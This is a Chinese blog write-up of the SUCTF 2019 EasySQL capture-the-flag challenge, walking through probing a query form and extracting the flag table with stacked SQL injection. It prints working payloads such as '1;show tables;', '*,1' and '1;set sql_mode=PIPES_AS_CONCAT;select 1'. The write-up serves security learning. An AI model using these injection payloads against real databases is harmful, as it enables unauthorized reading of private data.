SUCTF-2019-EasySQL

最新推荐文章于 2025-07-29 11:18:50 发布

原创最新推荐文章于 2025-07-29 11:18:50 发布 · 4k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#学习 #安全 #web安全

笔记同时被 2 个专栏收录

20 篇文章

订阅专栏

write up

5 篇文章

订阅专栏

本文介绍了一种特定场景下的SQL注入攻击方法，通过堆叠注入绕过常规防御，并展示了如何利用特殊配置读取敏感数据。

看一下源代码

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

Array
(
    [0] => 1
)

通过post请求

在这里插入图片描述

输一个非零数字有回显，输一个字母无回显

在这里插入图片描述

输入1'无回显，证明含有sql注入但无错误回显

在这里插入图片描述

反复尝试了一下，可以堆叠注入

1;show databases; 查库
1;show tables;查表

在这里插入图片描述

发现有一个flag表

网上搜了一下比赛的时候后面给了select

select $_GET['query'] || flag from flag

而*没有被过滤掉

试一下*,1
即 select *,1||flag from flag
即变成了 select *,1 from flag

就可以查出表的内容了

在这里插入图片描述

或者是之前有提到可以进行堆叠注入

关键的查询代码是 select $post['query']||flag from Flag

要想办法让 ||不是逻辑或
官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

sql_mode是一组语法校验规则

在sql_mode中相关链接